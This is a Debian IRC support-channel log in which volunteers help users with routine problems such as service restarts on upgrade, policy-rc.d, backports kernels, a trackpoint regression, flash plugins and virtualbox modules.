| 06:54.49 | rjsalts | jim_carry: it would probably work fine in linux, but it might cause some tools to treat it incorrectly. e.g. bootloaders, partitioning tools, etc. |
| 06:55.22 | MaBunny | jim_carry: if you are unsure what to do,use gparted |
| 06:56.10 | jim_carry | rjsalts: Okay thank you |
| 06:56.19 | jim_carry | MaBunny: Who use guis |
| 06:56.27 | MaBunny | guis? |
| 06:56.31 | jim_carry | GUI |
| 06:56.34 | jim_carry | heh |
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| 06:56.45 | MaBunny | Graphical User Interface |
| 06:56.50 | MaBunny | ... |
| 06:56.53 | jim_carry | yeah perfectly right |
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| 06:57.24 | MaBunny | gparted is a graphical frontend to tools like mkfs |
| 06:57.27 | jim_carry | gparted is GUI tool rightt |
| 06:57.31 | jim_carry | yeah I know |
| 06:57.34 | MaBunny | yeah |
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| 06:58.22 | jim_carry | What difference would it make then using commandline tool fdisk/gdisk |
| 06:58.56 | MaBunny | idk...think about it |
| 06:59.07 | jim_carry | The answer is nothing |
| 06:59.53 | jim_carry | It is just GUI standing on these commandline tools |
| 07:00.31 | MaBunny | it is useful for beginners |
| 07:00.48 | jim_carry | I am beginner I find it not so useful |
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| 07:01.12 | MaBunny | ok |
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| 07:13.05 | blackflow | Hello. Will debian ever stop re/starting services upon package installation/update? Every. Time. php5-fpm. Updates. It. Breaks. The. Service. And. I. Have. To. Start. It. Manually. |
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| 07:14.01 | arturo | blackflow: perhaps you could open a bug for php5-fpm explaining the situation? |
| 07:14.13 | babilen | blackflow: How does it break the service? |
| 07:14.26 | blackflow | perhaps debian should stop restarting services as its sees fit and leave us admins to do that when WE see fit. |
| 07:14.33 | blackflow | babilen: 502 bad gateway |
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| 07:15.30 | babilen | blackflow: I don't quite see how that error is being raised if you restart the service |
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| 07:15.39 | babilen | (given that it is running afterwards) |
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| 07:16.34 | blackflow | is there a way for me to configure the thing not to restart automatically? I really want to be able to have that under control. |
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| 07:17.34 | petemc | !policy-rc.d |
| 07:17.35 | dpkg | [policy-rc.d] a mechanism to limit what init scripts are run by maintainer scripts. See http://people.debian.org/~hmh/invokerc.d-policyrc.d-specification.txt and <invoke-rc.d>. See http://ircbots.debian.net/scripts/policy-rc.d-forbid-dpkg for an example script that disables all daemon starts and stops during package installation -- tailoring it to your needs to only skip certain daemons would be advised. |
| 07:17.59 | babilen | blackflow: Read /usr/share/doc/init-system-helpers/README.policy-rc.d.gz |
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| 07:18.01 | babilen | Ah .. |
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| 07:18.16 | blackflow | petemc: babilen: much obliged! |
| 07:18.48 | petemc | perhaps there is something wrong with your php app that it cannot survive a restart |
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| 07:19.29 | blackflow | petemc: then it would fail on manual restart, which it doesn't |
| 07:19.54 | babilen | We could investigate the actual problem |
| 07:20.18 | blackflow | looking at the apt-get output logs, there's an warning about start and stop functions no longer being supported etc... |
| 07:20.35 | babilen | I mean, I agree that it is sometimes annoying that upgrades cause a service restart, but that doesn't really seem to be your issue |
| 07:20.42 | blackflow | update-rc.d: warning: start and stop actions are no longer supported; falling back to defaults |
| 07:21.28 | blackflow | babilen: it happens every time, so that now I've adjusted fabric to force restart immediately after update |
| 07:22.00 | blackflow | btw, this policy-rc.d thing, that applies to systemd controlled services as well, correct? |
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| 07:33.38 | babilen | blackflow: I haven't used it in a while, but yeah |
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| 07:43.48 | unborn | no problem with php on my srvs after update.. ever.. is that php7 blackflow ? |
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| 07:45.23 | Fjorgynn | :o |
| 07:45.26 | babilen | blackflow: What's the actual issue you see? Anything in the logs? |
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| 07:45.51 | Fjorgynn | I have php 5.6. :p |
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| 07:46.03 | unborn | Fjorgynn: same here |
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| 07:49.09 | implijer | heya |
| 07:49.14 | implijer | I'm wondering |
| 07:49.49 | implijer | what happens if two forward connexion (ssh -R) are opened from two different computer on the same ssh server with the same port ? |
| 07:50.10 | implijer | I don't have the 3 computer to test it :x |
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| 07:51.03 | bobe | implijer, the second one will fail since the port is already used |
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| 07:52.15 | implijer | bobe: okay ! Another question then, as server, is there a way to manage theses connexion ? |
| 07:52.57 | implijer | Let say, see when a connexion is made, close some one, see that someone tries to opens one, etc. |
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| 07:54.00 | implijer | ssh is a very silent budd :s |
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| 08:15.00 | karsten | On stretch/sid, Thinkpad T510i laptop, middle mouse button behavior has changed, and I don't know why. |
| 08:15.56 | karsten | I can still paste in X and console (gpm), but it's not possible to _move_ the pointer while I've got the middle button selected. Some apps (feh, FreeCiv) don't respond to middle mouse. |
| 08:16.28 | ransur0t | karsten: have you checked settings is your DE touchpad/synaptics config? |
| 08:16.31 | karsten | Windowmaker windowlist doesn't show up. |
| 08:16.40 | karsten | ransur0t: How would I do that? |
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| 08:16.56 | ransur0t | which DE are you running? gnome? |
| 08:16.58 | karsten | And what's 'de'? Desktop environment? |
| 08:17.01 | ransur0t | yes |
| 08:17.02 | karsten | ransur0t: Windowmaker. |
| 08:17.09 | karsten | This also effects *console* though. |
| 08:17.15 | ransur0t | sorry, missed that ttext |
| 08:17.19 | karsten | I'm suspecting kernel or libs or udev or something. |
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| 08:17.56 | karsten | dmesg tells me: psmouse serio1: trackpoint: IBM TrackPoint firmware: 0x0e, buttons: 3/3 |
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| 08:18.29 | karsten | also: input: ThinkPad Extra Buttons as /devices/platform/thinkpad_acpi/input/input8 |
| 08:18.36 | karsten | (searching output for 'mouse' or 'button' |
| 08:19.16 | blackflow | babilen: the actual php5-fpm process dies, systemctl status shows it dead, so it stops but never starts back. |
| 08:19.31 | ransur0t | could be. check this out to see if you can restore to desired function: https://goo.gl/u9Hbk1 |
| 08:19.52 | ransur0t | good resource |
| 08:19.59 | karsten | ransur0t: tx. |
| 08:20.23 | ransur0t | yw |
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| 08:34.54 | blackflow | babilen: could it be the service is not started back because the unit is disabled? |
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| 08:44.52 | babilen | blackflow: Is it masked or disabled? |
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| 08:46.24 | blackflow | babilen: I manually disabled it because starting php5-fpm requires manual unlocking and mounting the encrypted partitions |
| 08:46.40 | babilen | blackflow: "systemctl show php5-fpm.service |grep UnitFileState" gives you? |
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| 08:48.20 | blackflow | babilen: disabled |
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| 08:48.42 | babilen | blackflow: That would explain why it is not being started, yes |
| 08:49.10 | blackflow | babilen: another very good reason for debian to stop doing that. it assumes too much. |
| 08:49.45 | babilen | Just configure policy-rc.d to your preferences |
| 08:49.45 | petemc | you cant please everyone |
| 08:49.52 | bolovanos | what irc client would you recommend on Debian wheezy (only terminal app)? |
| 08:49.59 | petemc | irssi or weechat |
| 08:50.04 | babilen | A lot of people assume that their services are up-to-date when they install upgrades |
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| 08:52.38 | blackflow | babilen: well, I understand that, so the default can be what it is. just give us admins an easy to configure option not to do that. I'll look into the policy thing some more, but from what I see now, if I set such a policy, I can't even restart it manually? or is it only for dpkg? |
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| 08:53.20 | bolovanos | petemc, hi - why not xchat? |
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| 08:53.29 | babilen | blackflow: It is about maintainer scripts |
| 08:53.50 | babilen | blackflow: I think it fits your usecase pretty well |
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| 08:57.38 | blackflow | babilen: I found this. we'll see how that works the next time some service upgrades. :) https://major.io/2014/06/26/install-debian-packages-without-starting-daemons/ |
| 08:58.00 | blackflow | I do hope this covers systemd as well? |
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| 08:58.12 | babilen | blackflow: That's a bit drastic, isn't it? |
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| 08:58.58 | blackflow | babilen: which part? having these ops 100% in admin control? |
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| 08:59.29 | babilen | Well .. a lot of things aren't under your direct control, but if that is the behaviour you want, who am I to argue? |
| 08:59.37 | babilen | I mean .. if you are happy I am happy |
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| 08:59.42 | petemc | bolovanos: you said terminal |
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| 09:00.08 | blackflow | babilen: but am I misunderstanding this thing? it prevents any and all automatic changes to services, right? no start/stop/restart unless I issue it manually? |
| 09:00.29 | babilen | blackflow: It prevents maintainer scripts from making service changes |
| 09:00.51 | blackflow | "service changes" being re/starting, or something more? |
| 09:00.59 | karsten | Still not sure what I'm looking for on mouse. It's possible that this is just X.org. Log paste: https://paste.debian.net/hidden/c68f9c86/ |
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| 09:02.31 | babilen | blackflow: All actions as detailed in https://people.debian.org/~hmh/invokerc.d-policyrc.d-specification.txt (start, [force-]stop, restart, [force-]reload, status) |
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| 09:03.47 | bolovanos | petemc, I have apted weechat but first row of start guide https://weechat.org/files/doc/stable/weechat_quickstart.en.html - there is no weechat, just weechat-curses |
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| 09:04.05 | ransur0t | karsten: did you take not of any package upgrades recently that may have altered touchpad behavior? |
| 09:04.08 | blackflow | babilen: great, then that's exactly what I need. |
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| 09:04.18 | ransur0t | *note |
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| 09:04.26 | babilen | blackflow: Hence my "I think it fits your usecase pretty well" |
| 09:04.29 | babilen | :) |
| 09:04.33 | karsten | ransur0t: This has been going on a few months, I've not been using the laptop a whole bunch. |
| 09:04.55 | ransur0t | is your system up to date? |
| 09:04.59 | karsten | ransur0t: Xorg and libinput seem likely suspects |
| 09:05.05 | karsten | ransur0t: Yes. |
| 09:05.11 | blackflow | babilen: yeah. and regardless of what I think about the default being idiotic, as long as I have the control to override it, all is fine. :) |
| 09:05.24 | karsten | ransur0t: I'd been a few kernel revs back, but that doesn't seem to be the issue. |
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| 09:05.52 | karsten | Weird thing is thta if I hold middle mouse button and move trackpad, the pointer itself simply doesn't move. |
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| 09:06.19 | karsten | As opposed to, say, left button, in which case I can drag the pointer all over the place. |
| 09:06.21 | ransur0t | hmm, i'm running stretch, no issues on hp eb8540w, but I'm not in front of it so I can't test middle button behavior ... |
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| 09:07.17 | karsten | xev doesn't show ButtonPress or ButtonRelease events. |
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| 09:11.58 | ransur0t | look here: https://goo.gl/aIFhT1 -- search for: TrackPoint while holding down the middle mouse button |
| 09:12.21 | RobinC | On stable, its not fully detecting a 1TB external USB drive, http://pastebin.com/4Aa8ychm so i can't go on and try to mount etc. Any idea what i'm missing or to try? |
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| 09:14.30 | karsten | ransur0t: tx. |
| 09:14.45 | ransur0t | yw, hope it helps/works |
| 09:16.11 | brandhauser | Hi all, is there a known problem with cron perhaps? I have a job defined in /etc/cron.d/somejob which is not working. If i take that job and put it in /etc/crontab it works without a problem. |
| 09:16.47 | karsten | brandhauser: paste your cronjob's file |
| 09:16.53 | brandhauser | * * * * * root echo "test bladiebla" >> /tmp/test123 |
| 09:16.54 | karsten | !tell brandhauser about paste |
| 09:16.59 | brandhauser | ouch sorry |
| 09:18.02 | karsten | brandhauser: one liners are OK. |
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| 09:18.41 | karsten | brandhauser: What are permissions on the file? Who is it owned by, and what are perms, especially write perms. |
| 09:18.52 | karsten | brandhauser: Should be root 644 |
| 09:20.39 | karsten | ransur0t: Best i can tell, that page is about treating trackpoint middle mouse as a scrollwheel. That's not what I'm after. |
| 09:20.48 | ransur0t | darn |
| 09:21.15 | brandhauser | karsten: confirmed owner: root group: root mode: 644 |
| 09:21.32 | karsten | brandhauser: OK. |
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| 09:22.36 | brandhauser | karsten: please ignore my question... i see now when i created "somejob" for this question. That that actually works. So this is an error on my behalf. Sorry. Thanks for your help! |
| 09:22.49 | karsten | brandhauser: np. |
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| 09:26.07 | karsten | Here's dmesg logs for mouse going back to april 17. I'm not seeing a huge difference except for one missing line. https://paste.debian.net/hidden/d052406c/ |
| 09:26.33 | karsten | This disappears from the current boot session, though the problem pre-existed it: " psmouse serio1: alps: Unknown ALPS touchpad: E7=10 00 64, EC=10 00 64" |
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| 09:31.12 | ransur0t | line 7 the only oddity ... strange |
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| 09:32.30 | karsten | ransur0t: yeah, and that doesn't apply to the current session |
| 09:33.29 | ransur0t | karsten: would this kernel driver be applicable to your hardware?: https://goo.gl/fnzhLm |
| 09:34.37 | karsten | ransur0t: Dunno. This touchpad's run fine for _years_. |
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| 09:36.00 | OtakuSenpai | is this correct: "chmod +xwr= ./my_file" ? |
| 09:36.42 | karsten | OtakuSenpai: What are you trying to do? |
| 09:36.58 | OtakuSenpai | im trying to run DF |
| 09:37.05 | karsten | OtakuSenpai: And i'd be careful about giving global write perms. |
| 09:37.12 | karsten | OtakuSenpai: What's DF? |
| 09:37.23 | OtakuSenpai | Dwarf Fortress |
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| 09:37.55 | karsten | OtakuSenpai: Are you trying to make a file executable? |
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| 09:38.11 | karsten | OtakuSenpai: Where 'my_file' is, say, your DF executable? |
| 09:38.20 | OtakuSenpai | yes |
| 09:38.31 | karsten | OtakuSenpai: 'man chmod' |
| 09:38.47 | OtakuSenpai | i cant run it via the script provided with it |
| 09:39.11 | karsten | OtakuSenpai: What happens when you try? |
| 09:39.14 | ransur0t | karsten: re: kernel driver: https://paste.debian.net/785544 |
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| 09:39.46 | karsten | ransur0t: yeah, but that's not happening this session. |
| 09:39.56 | ransur0t | yeah, just recalled that after I sent ;) |
| 09:40.06 | karsten | ransur0t: It _may_ have been an issue earlier. I did just upgrade from 3.x to 4.x kernel. |
| 09:40.12 | karsten | So that may have accounted for bits. |
| 09:40.19 | ransur0t | probably |
| 09:40.22 | karsten | I do suspect psmouse / ps support. |
| 09:40.50 | ransur0t | perhaps a new build against current kernel headers? |
| 09:40.52 | karsten | Thought it's not my only suspect. |
| 09:41.03 | ransur0t | always the case ;) |
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| 09:42.32 | karsten | ransur0t: Hrm: http://www.eenyhelp.com/bug-823147-libinput10-alpsps-2-alps-dualpoint-touchpad-middle-mouse-button-emulation-stopped-working-help-216027126.html |
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| 09:44.05 | karsten | https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=823147 |
| 09:44.06 | judd | Bug http://bugs.debian.org/823147 in libinput10 (closed): «libinput10: AlpsPS/2 ALPS DualPoint TouchPad middle mouse button emulation stopped working»; severity: normal; opened: 2016-05-01; last modified: 2016-06-24. |
| 09:44.47 | karsten | ransur0t: This sounds almost exactly like what I'm seeing. But using either xev or "xinput query-state 13", I can never get button |
| 09:44.50 | karsten | 2 to show up, only buttons 1 and 3. |
| 09:45.09 | ransur0t | yup, bugs abound, works in progress, looks like ... |
| 09:45.22 | ransur0t | perhaps append your scenario to current debian report ... |
| 09:45.41 | karsten | Point. |
| 09:46.17 | karsten | ransur0t: I'm at 1.3.3-1, which is above 1.3.0-2 which claimed to have fixed this... |
| 09:46.24 | ransur0t | ugg |
| 09:47.05 | karsten | And my debian changelog is way out of date. |
| 09:47.30 | ransur0t | :) |
| 09:49.08 | karsten | BTW, WTF is up with the new 'apt' tool? I'm still trying to remember which of 'apt-get' or 'aptitude' is the one I want. |
| 09:49.12 | karsten | And I pine for dselect.... |
| 09:49.52 | karsten | apt seems to go back to manual deps resolution far too often. Reminds me of rpm |
| 09:50.08 | ransur0t | there was a brief discussion yesterday on this --- apt vs aptitude |
| 09:50.44 | ransur0t | consensus was use what's best for the situation, each has strengths/weaknesses. but yeah, i know what you mean. |
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| 09:51.21 | ransur0t | and aptitude being quite capable of dependency resolution ... |
| 09:51.38 | Michal_Gyurkovks | Hello Ajehals do you copy? :) |
| 09:51.55 | karsten | ransur0t: Well, within limits: open: 43129; closed: 110614; defer: 254; conflict: 346 |
| 09:52.06 | ransur0t | wow |
| 09:52.10 | karsten | is waiting for aptitude to resolve itself. |
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| 09:52.57 | karsten | That's been going on for at least 3 minutes -- there's a reason I mentioned the apt thing... |
| 09:53.19 | karsten | And the conflict count is going up. Now at 350, was originally 303. |
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| 10:00.11 | karsten | Hrm. Well, I can unload and reload psmouse... Doesn't change much, but reinits the driver. |
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| 10:02.36 | ransur0t | progress? ;) |
| 10:02.57 | karsten | ransur0t: Well, neither progress nor regress. |
| 10:03.02 | karsten | ransur0t: I think it's just gress |
| 10:03.18 | ransur0t | gotta love treading water, effortlessly |
| 10:04.14 | karsten | ransur0t: That's why we'd tread chairs in water polo practice... |
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| 10:06.34 | No_one_at_all | Hi, I've got a question about using iptables-restore on debian. I have a custom set of rules that are saved (as per default, apparently) to /etc/iptables/rules.v4 and rules.v6. When the box reboots, however, the rules are messed up. iptables -L shows the original rules, followed by the modified rules (which means the modified rules are never followed, because the original rules have several "ACCEPT all |
| 10:06.36 | No_one_at_all | anywhere" lines). This seems to indicate that the firewall rules are being loaded from two different locations, and not just /etc/iptables/rules.v*. What should I be doing if I want only my modified rules to be loaded? |
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| 10:06.56 | mewmewmalazerbea | hey guys how do i get cloak for irc? |
| 10:07.13 | No_one_at_all | mewmewmalazerbea: ask for one in #freenode |
| 10:07.18 | karsten | mewmewmalazerbea: Ask the Freenode admins IIRC. |
| 10:07.23 | mewmewmalazerbea | ty |
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| 10:08.03 | karsten | mewmewmalazerbea: Also requires a registered nick AFAIR. |
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| 10:08.25 | TomTomTosch | but they already have a cloak... |
| 10:08.33 | karsten | TomTomTosch: That was my read. |
| 10:08.41 | karsten | mewmewmalazerbea: You're already cloaked |
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| 10:12.11 | mewmewmalazerbea | ty |
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| 10:16.08 | nikitasius | <PROTECTED> |
| 10:16.12 | karsten | Decided to check. Downgrading libinput doesn't appear to be an option |
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| 10:29.13 | ransur0t | :( |
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| 10:55.11 | astrapotro_ | hello |
| 10:55.57 | astrapotro_ | Anybody knows what's happening with the dtts web? is down or something? |
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| 11:03.44 | astrapotro_ | Anybody knows what's happening with the dtts web? is down or something? |
| 11:04.33 | petemc | the what? |
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| 11:06.24 | astrapotro_ | petemc , do youknow if the ddts web is down? http://ddtp.debian.net/ddtss/index.cgi/xx |
| 11:06.44 | petemc | i dont even know what it is, so no |
| 11:06.52 | astrapotro_ | xD |
| 11:07.27 | astrapotro_ | ok, it's the web app to manage package translations |
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| 11:12.13 | unborn | astrapotro_: its not loading on my end too.. so its possibly down |
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| 11:13.26 | unborn | astrapotro_: This site cant be reached - ddtp.debian.net took too long to respond. |
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| 11:23.48 | DeaDSouL | hi, how can I start sub-proccess in my script to work on its own, yet if I terminate the main script.. all child-process should be terminated too? |
| 11:23.50 | DeaDSouL | for ex: `script.sh init` will start: `script.sh sub1` and `script.sh sub2` .... and when I kill pid of `script.sh init` all `script.sh sub1` and `script.sh sub2` should be killed too |
| 11:28.13 | astrapotro_ | maybe with killall ? |
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| 11:36.42 | aaaaa | how do you upgrade linux kernel from 3.16 to 4.6? |
| 11:36.46 | aaaaa | without using make |
| 11:37.40 | jelly | dpkg, tell aaaaa about bdo kernel |
| 11:37.48 | astrapotro_ | sudo aptitude dist-upgrade? |
| 11:38.34 | jelly | ,kernels |
| 11:38.35 | judd | Available kernel versions are: experimental: 4.7.0-rc7-686 (4.7~rc7-1~exp1); sid: 4.6.0-1-686 (4.6.4-1); stretch: 4.6.0-1-686 (4.6.4-1); jessie-backports: 4.6.0-0.bpo.1-686-pae (4.6.3-1~bpo8+1); jessie: 3.16.0-4-686-pae (3.16.7-ckt25-2+deb8u3); wheezy-backports: 3.16.0-0.bpo.4-686-pae (3.16.7-ckt25-2+deb8u3~bpo70+1); wheezy: 3.2.0-4-686-pae (3.2.81-1) |
| 11:38.58 | astrapotro_ | or better, download last stable version, compile it and install : ) |
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| 11:44.42 | jelly | astrapotro_, you go read /msg dpkg bdo, and /msg dpkg bdo kernel, too |
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| 11:49.02 | aaaaa | So I tried installing the kernel image but it said I need linux base 4.3 but I have 3.5 |
| 11:49.21 | aaaaa | and it's not in the package source |
| 11:50.26 | missmbob | 4.3 is in jessie-backports |
| 11:50.33 | missmbob | ,v linux-base |
| 11:50.34 | judd | Package: linux-base on amd64 -- squeeze-security: 2.6.32-48squeeze6; squeeze: 2.6.32-48squeeze6; squeeze-security-lts: 2.6.32-48squeeze20; squeeze-backports: 3.4~bpo60+1; wheezy: 3.5; jessie: 3.5; jessie-backports: 4.3~bpo8+1; sid: 4.4; stretch: 4.4 |
| 11:51.16 | cra1g321 | if its the kernel from jessie-backports, then you're likely using the wrong apt-get command |
| 11:51.50 | astrapotro_ | thanks jelly i will |
| 11:52.39 | aaaaa | I used this guide https://wiki.debian.org/HowToUpgradeKernel |
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| 11:54.47 | aaaaa | I added the back ports respo |
| 11:55.10 | cra1g321 | ,v linux-image |
| 11:55.11 | judd | No package named 'linux-image' was found in amd64. |
| 11:55.16 | cra1g321 | ,v linux |
| 11:55.18 | judd | No package named 'linux' was found in amd64. |
| 11:55.26 | cra1g321 | -_- |
| 11:56.21 | cra1g321 | you would add the repo, then do apt-get update then |
| 11:56.28 | cra1g321 | apt-get install -t jessie-backports linux-image-4.6.0-0.bpo.1-amd64 |
| 11:56.32 | towo^work | ,v linux-image-amd64 |
| 11:56.33 | judd | Package: linux-image-amd64 on amd64 -- squeeze: 2.6.32+29; squeeze-backports: 3.2+46~bpo60+1; wheezy: 3.2+46; wheezy-backports: 3.16+63~bpo70+1; jessie: 3.16+63; jessie-backports: 4.6+74~bpo8+1; sid: 4.6+74; stretch: 4.6+74 |
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| 11:57.05 | cra1g321 | though changing kernel is something not usually suggested |
| 11:57.26 | jelly | aaaaa, did you read what dpkg bot told you in the private message? |
| 11:57.46 | dionysus69 | on jessie: E: Unable to locate package browser-plugin-freshplayer-pepperflash |
| 11:57.50 | dionysus69 | what is the problem? |
| 11:58.08 | aaaaa | yes |
| 11:58.17 | dionysus69 | also, do I need to remove flashplayer-nonfree if I install this? |
| 11:58.24 | babilen | dpkg: tell dionysus69 -about show sources.list |
| 11:58.29 | cra1g321 | dionysus69, that package is in the jessie-backports repo |
| 11:58.31 | themill | dionysus69: it's not in jessie, it's in jessie-backports |
| 11:58.43 | dionysus69 | I have backports in my sources |
| 11:58.44 | babilen | (and you need contrib) |
| 11:58.54 | cra1g321 | dionysus69, apt-get install -t jessie-backports browser-plugin-freshplayer-pepperflash |
| 11:58.54 | babilen | dionysus69: Mind pasting your sources.list ? |
| 11:59.08 | aaaaa | http://pastebin.com/k2LRy7bP |
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| 11:59.13 | aaaaa | I get this error |
| 11:59.14 | jelly | dionysus69: also pastebin the output of "apt-cache policy" and "apt-cache policy browser-plugin-freshplayer-pepperflash" |
| 11:59.15 | teraflops | dionysus69: https://packages.debian.org/jessie-backports/browser-plugin-freshplayer-pepperflash ^ |
| 11:59.25 | teraflops | [contrib] |
| 11:59.42 | cra1g321 | aaaaa, paste the full log from the start of the command |
| 11:59.47 | cra1g321 | oh wait nevermind |
| 11:59.53 | dionysus69 | https://gist.github.com/anonymous/4596ef2d20e9d809390387e2dda2bd11 |
| 12:00.04 | cra1g321 | you're using the wrong command aaaaa, as i said before |
| 12:00.29 | babilen | dionysus69: You want all entries to end in "main contrib non-free" -- You are missing contrib as expected |
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| 12:00.59 | dionysus69 | hmm ok let me change that |
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| 12:05.01 | dionysus69 | thanks allot that worked :) |
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| 12:06.32 | cra1g321 | dionysus69, incase you ever need to do it again http://forums.debian.net/viewtopic.php?f=16&t=126261 |
| 12:06.52 | dionysus69 | nice haha apt upgrade offered me this The following packages will be upgraded: firmware-iwlwifi, is this safe or will I (potentially) loose loose wifi after this |
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| 12:09.37 | dionysus69 | wait according to the forum I dont need pepperflashplugin-nonfree? |
| 12:09.38 | babilen | dionysus69: When does it offer that? |
| 12:09.47 | dionysus69 | apt-get upgrade |
| 12:09.47 | astrapotro_ | so anybody knows something about if ddts web is down? |
| 12:09.59 | unborn | astrapotro_: This site cant be reached - ddtp.debian.net took too long to respond. |
| 12:10.03 | unborn | astrapotro_: its not loading on my end too.. so its possibly down |
| 12:10.07 | astrapotro_ | or has changed to other domain |
| 12:10.08 | babilen | dionysus69: There is *always* the possibility that upgrades break something, yes |
| 12:10.32 | astrapotro_ | ok thanks unborn |
| 12:10.36 | babilen | dionysus69: What did you want to use pepperflash for? |
| 12:11.11 | astrapotro_ | so maybe somebody in debian has decided to change the packages translation web app to another site |
| 12:11.25 | astrapotro_ | :| |
| 12:11.47 | unborn | astrapotro_: not accordingly to wiki pages thats correct site |
| 12:12.09 | unborn | astrapotro_: https://wiki.debian.org/DDTP |
| 12:12.16 | teraflops | s0ph0s: perhaps it's a temporary failure |
| 12:13.14 | dionysus69 | babilen: just for browsing in firefox, on some sites I am forced to use chrome due to old version of flashplugin |
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| 12:14.53 | babilen | dionysus69: You don't need pepperflash for firefox, but for chromium |
| 12:15.09 | cra1g321 | it can be used with firefox |
| 12:15.14 | teraflops | yeah |
| 12:15.16 | babilen | Oh, can it now? |
| 12:15.35 | babilen | That's nice :) |
| 12:15.43 | unborn | chrome have flash build in btw |
| 12:15.58 | unborn | and i think ff does it too no? |
| 12:16.06 | cra1g321 | yes, the firefox package is called browser-plugin-freshplayer-pepperflash and chromium one is pepperflashplugin-nonfree |
| 12:16.13 | cra1g321 | unborn, no firefox does not |
| 12:16.17 | babilen | chromium (as packaged in Debian) does not. In fact the pepperflashplugin installer downloads chrome, extracts the plugin and makes it available to browsers |
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| 12:16.48 | babilen | cra1g321: Cool, thanks for elaborating |
| 12:17.08 | dionysus69 | babilen: yes I needed it :D, now flash works on all sites on firefox |
| 12:17.28 | dionysus69 | babilen: one site didnt let me use version 12 when the latest version is like 20+ |
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| 12:18.39 | teraflops | yeah I wish they did the same with widevine, I know there are concerns but I'd like to do netflix with chromium too under debian |
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| 12:19.59 | apollo13 | Hi, I am running pam-auth-update and it sees my pam config, but it seems to ignore Default:yes in the profile when I run pam-auth-update --package ; any ideas? |
| 12:19.59 | unborn | netflix works over web browser? if so, teraflops you may try real chrome? |
| 12:20.08 | teraflops | unborn: no thanks :) |
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| 12:20.48 | apollo13 | ah nevermind, /var/lib/pam/seen :/ |
| 12:21.21 | teraflops | unborn: you just need widevine for getting it working with chromium, that's why I said what I said above |
| 12:21.32 | FinalX | dont forget that you need x264 libs installed for most of those streaming sites to work properly |
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| 12:25.41 | teraflops | FinalX: youtube-dl works in a surprisingly high amount of web sites |
| 12:26.10 | teraflops | I meant dionysus69 sorry |
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| 12:27.30 | FinalX | teraflops: i'm very happy with firefox now doing widevine btw, we have a webtv service that used to be silverlight with microsoft playready drm, later we got mpeg-dash streams with playready drm and another mpeg-dash with google widevine.. but firefox stuck to adobe primetime drm :( |
| 12:27.47 | FinalX | teraflops: but now that they're also supporting mpeg-dash with google widevine, we can ditch the old silverlight shit :) |
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| 12:29.02 | teraflops | FinalX: yeah, but if you do *real* silverlight you'll have 1080p vs the 720p widevine does |
| 12:29.14 | teraflops | at least for netflix iirc |
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| 12:30.09 | FinalX | our manifests offer a lot of different streams, so does netflix, they scale with the user.. things like chromecasts, especially the old one, prefer 720p as well |
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| 12:31.22 | teraflops | netflix says you only get 1080p doing silverlight that's why I think pipelight is an option to be considered |
| 12:31.56 | teraflops | *sadly* |
| 12:32.07 | FinalX | ah |
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| 12:33.34 | JohnA | I have been trying to access my webdav files on my server using pcmanfm, but it keeps failing with message corrupt. any ideas on how to get this working? |
| 12:34.34 | teraflops | JohnA: tried from the web browser or just using cadaver? just for making yourself sure is not a server-side issue |
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| 12:35.34 | msl09 | hello, how do I start systemd in user mode? |
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| 12:35.51 | msl09 | I mean, without getting permission denied errors |
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| 12:36.38 | petn-randall | !ask |
| 12:36.38 | dpkg | If you have a question, just ask! For example: "I have a problem with ___; I'm running Debian version ___. When I try to do ___ I get the following output ___. I expected it to do ___." Don't ask if you can ask, if anyone uses it, or pick one person to ask. We're all volunteers; make it easy for us to help you. If you don't get an answer try a few hours later or on debian-user@lists.debian.org. See <smart questions><errors>. |
| 12:37.17 | teraflops | msl09: from tty or from Xorg? |
| 12:37.26 | JohnA | teraflops: I can access from cadaver and firefox no problem |
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| 12:37.53 | msl09 | I tryinf form a terminal emulator in xorg |
| 12:38.09 | teraflops | JohnA: then it looks like pcmanfm related |
| 12:38.15 | msl09 | oh wait |
| 12:38.19 | msl09 | it's already running |
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| 12:40.04 | teraflops | msl09: also describe the real issue. are you trying to enable/start a systemd --user unit? |
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| 12:40.49 | petn-randall | msl09: Showing the details would help, you can paste the complete output to http://paste.debian.net for us to see. |
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| 12:42.20 | msl09 | nah, it's running now so I don't need to run it myself, I was wondering why systemd was not picking my user services but I forgot to start and enable them in the first place :B |
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| 12:44.01 | dionysus69 | is debian stable getting normal firefox ever or we are stuck with firefox-esr? |
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| 12:44.39 | JohnA | teraflops: what are the alternatives to pcmanfm, |
| 12:44.45 | cra1g321 | the "firefox" package is currently sid only |
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| 12:45.59 | teraflops | hmm I wonder if debian's jessie systemd (215) supports the systemctl enable --now flag, it's not in man systemctl |
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| 12:48.13 | teraflops | JohnA: I have no idea tbh, I don't do filebrowser most of the time, and when I do I do not use them for dav |
| 12:48.47 | prussian | JohnA: thunar? |
| 12:49.04 | prussian | I'd you just need thumbnailing, feh can do that |
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| 12:50.56 | prussian | feh -t |
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| 12:54.57 | msl09 | teraflops: systemctl: unrecognized option '--now' |
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| 12:57.52 | luxflow | hello I'm making debian package and it depends on package `certbot` in jessie-backports, what should I write in debian/control Is `Depends: certbot` right? |
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| 13:04.04 | dionysus69 | should I keep firefox developer edition in /opt or in /home/user/bin ? which way is recommended? |
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| 13:15.18 | simbalion | Hi, I'm trying to use virtualbox but I'm getting an error saying vboxdrv doesn't exist. I installed virtualbox-dkms and virtualbox packages, as well as linux-headers |
| 13:15.25 | simbalion | can anyone help me? |
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| 13:16.40 | prussian | did you modprobe it? |
| 13:16.46 | babilen | Or reboot? |
| 13:16.50 | prussian | ^ |
| 13:17.03 | prussian | as well. I imagine the package does all that for you |
| 13:17.09 | simbalion | I did, modprobe fails, reboot didn't help |
| 13:18.49 | babilen | prussian: How does it fail? |
| 13:18.56 | babilen | simbalion: ^ |
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| 13:19.29 | babilen | And what does "dkms status" and "modinfo vboxdrv" give you? â http://paste.debian.net |
| 13:19.39 | prussian | :s |
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| 13:21.01 | simbalion | babilen modinfo vboxdrv not found |
| 13:21.16 | simbalion | babilen dkms: virtualbox, 5.0.24: added |
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| 13:21.33 | simbalion | sorry I did not see the paste url till too late :) |
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| 13:22.10 | babilen | "dkms status --verbose" and "uname -a" ? |
| 13:22.38 | babilen | guesses headers |
| 13:23.21 | simbalion | babilen dkms is the same, uname: 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt25-2+deb8u3 (2016-07-02) x86_64 GNU/Linux |
| 13:24.05 | babilen | exactly the same? |
| 13:24.16 | simbalion | yep |
| 13:25.17 | babilen | simbalion: What does "COLUMNS=200 dpkg -l 'linux-headers*'" give you? |
